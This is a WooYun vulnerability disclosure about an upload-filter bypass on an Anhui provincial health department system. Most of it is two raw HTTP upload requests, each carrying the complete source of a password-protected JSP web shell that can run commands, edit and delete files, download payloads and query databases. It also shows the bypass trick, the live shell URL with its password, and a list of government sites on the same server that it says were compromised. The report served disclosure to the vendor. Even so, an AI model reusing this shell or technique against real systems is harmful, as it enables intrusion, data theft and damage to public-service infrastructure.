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缺陷编号：wooyun-2015-0117617

漏洞标题：安徽省卫生厅某系统上传绕过再次导致被getshell（修复不完整）

相关厂商：cncert国家互联网应急中心

漏洞作者： JiuShao

提交时间：2015-06-02 10:42

修复时间：2015-07-20 18:26

公开时间：2015-07-20 18:26

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

神器在手，wb我有

详细说明：

安徽省卫生厅某系统上传绕过再次导致被getshell（修复不完整）
首先看 WooYun: 安徽省卫生厅某系统任意文件上传导致服务器沦陷
任意文件上传 不过修复了 不够彻底 继续上传
（本来想上传图片的 图片服务器貌似挂了）
做了一下限制 只能上传图片 抓个包 

POST /defaultroot/public/jsp/singleupload.jsp?path=desktop&mode=add&hiddenName=unitImgSaveName&visualName=unitImgName HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, jsp application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://220.178.116.78:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&mode=add&hiddenName=unitImgSaveName&visualName=unitImgName
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3d81750276
Accept-Encoding: gzip, deflate
Host: 220.178.116.78:7001
Content-Length: 87639
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=cRjwVsbPMP4wnFhZ3Ct1nSrTXTJp9D2yHLBdKZqgxZcXCmqFj7TM!530927824
-----------------------------7df3d81750276
Content-Disposition: form-data; name="photo"; filename="jiushao.jsp"
Content-Type: text/plain
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "jiushao";
	String EC(String s, String c) throws Exception {
		return s;
	}//new String(s.getBytes("ISO-8859-1"),c);}
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("\r\n");
		Class.forName(x[0].trim()).newInstance();
		Connection c = DriverManager.getConnection(x[1].trim());
		if (x.length > 2) {
			c.setCatalog(x[2].trim());
		}
		return c;
	}
	void AA(StringBuffer sb) throws Exception {
		File r[] = File.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
						+ "\t" + sQ + "\n");
			} else {
				sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
						+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		int n;
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os
					.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
							.charAt(i + 1))));
		}
		os.close();
	}
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t");
		}
		r.close();
		c.close();
	}
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] t = { "TABLE" };
		ResultSet r = c.getMetaData().getTables(null, null, "%", t);
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t");
		}
		r.close();
		c.close();
	}
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[3]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
					+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
	void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
		int i;
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		try {
			ResultSet r = m.executeQuery(q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			while (r.next()) {
				for (i = 1; i <= n; i++) {
					sb.append(EC(r.getString(i), cs) + "\t|\t");
				}
				sb.append("\r\n");
			}
			r.close();
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}%>
	
	
<%
	String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	String Z = EC(request.getParameter(Pwd) + "", cs);
	String z1 = EC(request.getParameter("z1") + "", cs);
	String z2 = EC(request.getParameter("z2") + "", cs);
	StringBuffer sb = new StringBuffer("");
	try {
		sb.append("->" + "|");
		if (Z.equals("A")) {
			String s = new File(application.getRealPath(request
					.getRequestURI())).getParent();
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(
					new InputStreamReader(new FileInputStream(new File(
							z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(
					new OutputStreamWriter(new FileOutputStream(
							new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb);
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
%>
-----------------------------7df3d81750276
Content-Disposition: form-data; name="submit"
上传
-----------------------------7df3d81750276--


修改包 

POST /defaultroot/public/jsp/singleupload.jsp?path=desktop&mode=add&hiddenName=unitImgSaveName&visualName=unitImgName HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, jsp application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://220.178.116.78:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&mode=add&hiddenName=unitImgSaveName&visualName=unitImgName
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3d81750276
Accept-Encoding: gzip, deflate
Host: 220.178.116.78:7001
Content-Length: 87639
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=cRjwVsbPMP4wnFhZ3Ct1nSrTXTJp9D2yHLBdKZqgxZcXCmqFj7TM!530927824
-----------------------------7df3d81750276
Content-Disposition: form-data; name="photo"; filename="jiushao.jsp"
Content-Type: text/plain
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "jiushao";
	String EC(String s, String c) throws Exception {
		return s;
	}//new String(s.getBytes("ISO-8859-1"),c);}
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("\r\n");
		Class.forName(x[0].trim()).newInstance();
		Connection c = DriverManager.getConnection(x[1].trim());
		if (x.length > 2) {
			c.setCatalog(x[2].trim());
		}
		return c;
	}
	void AA(StringBuffer sb) throws Exception {
		File r[] = File.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
						+ "\t" + sQ + "\n");
			} else {
				sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
						+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		int n;
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os
					.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
							.charAt(i + 1))));
		}
		os.close();
	}
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t");
		}
		r.close();
		c.close();
	}
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] t = { "TABLE" };
		ResultSet r = c.getMetaData().getTables(null, null, "%", t);
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t");
		}
		r.close();
		c.close();
	}
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[3]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
					+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
	void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
		int i;
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		try {
			ResultSet r = m.executeQuery(q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			while (r.next()) {
				for (i = 1; i <= n; i++) {
					sb.append(EC(r.getString(i), cs) + "\t|\t");
				}
				sb.append("\r\n");
			}
			r.close();
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}%>
	
	
<%
	String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	String Z = EC(request.getParameter(Pwd) + "", cs);
	String z1 = EC(request.getParameter("z1") + "", cs);
	String z2 = EC(request.getParameter("z2") + "", cs);
	StringBuffer sb = new StringBuffer("");
	try {
		sb.append("->" + "|");
		if (Z.equals("A")) {
			String s = new File(application.getRealPath(request
					.getRequestURI())).getParent();
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(
					new InputStreamReader(new FileInputStream(new File(
							z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(
					new OutputStreamWriter(new FileOutputStream(
							new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb);
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
%>
-----------------------------7df3d81750276
Content-Disposition: form-data; name="submit"
上传
-----------------------------7df3d81750276--


关键在这里
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg,
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, jsp
添加一个jsp后缀 直接上传 

HTTP/1.1 200 OK
Date: Mon, 01 Jun 2015 13:37:51 GMT
Content-Length: 3251
Content-Type: text/html; charset=UTF-8
          
          <SCRIPT LANGUAGE="JavaScript">
		  <!--
		  alert("附件上传成功！");
		  opener.document.all.unitImgName.value = "jiushao.jsp";
		  opener.document.all.unitImgSaveName.value = "2015060121205221333621364.jsp";
		  window.close();
                  //-->
            </SCRIPT>
            
	  
<HTML>
<HEAD><TITLE>上传附件</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</HEAD>
<style type="text/css">
</style>
<BODY  bgcolor="E8ECED">
<br>
<div align="center"><P><font color="#3366CC">请选择要上传的文件</font></p></div>
<TABLE width="80%" align="center" border=0>
<CENTER>
<FORM ENCTYPE = "multipart/form-data" NAME ="frm" ACTION = "singleupload.jsp?path=desktop&mode=add&hiddenName=unitImgSaveName&visualName=unitImgName"
    METHOD="POST" onsubmit="javascript:return check();">
  <TR>
     <TD align="center"><INPUT  type="file" name="photo" size="30" value=""></TD>
  </TR>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <TR>
     <TD align="center"><INPUT NAME="submit" VALUE="上传" TYPE="submit">
	     &nbsp;&nbsp;<INPUT NAME="reset" VALUE="重置" TYPE="reset">
     </TD>
  </TR>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td align="center">
      <!--<img src="/defaultroot/images/boder_left.gif" hspace="5" vspace="5" id="preview" >-->
    </td>
  </tr>
</FORM>
</CENTER>
</TABLE>
</BODY>
</HTML>
<script language="javascript">
var img=null;
function check(){
    if(document.all.photo.value==""){
        alert("请选择上传附件!");
        return false;
    }
    try{
        if(img) img.removeNode(true);
        img=document.createElement("img");
        img.style.position="absolute";
        img.style.visibility="hidden";
        img.attachEvent("onreadystatechange",orsc);
        img.attachEvent("onerror",oe);
        document.body.insertAdjacentElement("beforeend",img);
        var fileValue=document.all.photo.value;
        img.src=fileValue;
        fileValue=fileValue.toLowerCase();
        fileValue=fileValue.substring(fileValue.lastIndexOf(".")+1);
        if("jpg,gif,bmp,png".indexOf(fileValue)>=0){
            var fileOffsetWidth=img.offsetWidth;
            var fileOffsetHeight=img.offsetHeight;
            if(99>fileOffsetWidth || 19>fileOffsetHeight){
                    if(!confirm("系统允许您上传的图片最小为100X20,而您上传的图片大小为"+fileOffsetWidth+"X"+fileOffsetHeight+",这将导致显示不正常!\n您确定要上传吗?")){
                        return false;
                    }
            }else if(101<fileOffsetWidth || 21<fileOffsetHeight){
                    if(!confirm("系统允许您上传的图片最大为100X20,而您上传的图片大小为"+fileOffsetWidth+"X"+fileOffsetHeight+",这将导致显示不正常!\n您确定要上传吗?")){
                        return false;
                    }
            }
        }else{
            alert("您只能上传jpg,gif,bmp,jpeg等格式的图片!");
            return false;
        }
    }catch(e){
        alert(e);
    }
}
function oe()
{
}
function orsc()
{
    if(img.readyState!="complete")return false;
}
</script>


shell地址:http://220.178.116.78:7001/defaultroot/upload/desktop/2015060121205221333621364.jsp jiushao
同服网站全部沦陷
http://jbyw.ahyycg.cn 【jbyw.ahyycg.cn】
http://ahyycg.cn 【用户名： - 安徽省医药集中采购平台】
http://www.ahwst.gov.cn:13333 【医疗机构便民服务指南 - ahwstweb80】
http://www.ahyycg.cn 【投诉申诉格式】
http://xxgk.ahwst.gov.cn 【404_安徽省卫生和计划生育委员会】
http://www.ahwjw.gov.cn 【计生技术服务-安徽省卫生和计划生育委员会】
http://jy.ahyycg.cn 【安徽省医药集中采购平台】
http://220.178.116.78 【通知公告-安徽省卫生和计划生育委员会】
http://oa.ahwst.gov.cn 【食品安全知识-安徽省卫生和计划生育委员会】
http://zb.ahyycg.cn 【转发 关于规范医疗卫生机构药品采购目录遴选工作的通知 ...】

漏洞证明：

如上

修复方案：

上传验证的好一点 在好一点

版权声明：转载请注明来源 JiuShao@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-06-05 18:25

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给安徽分中心，由其后续协调网站管理单位处置。

最新状态：

暂无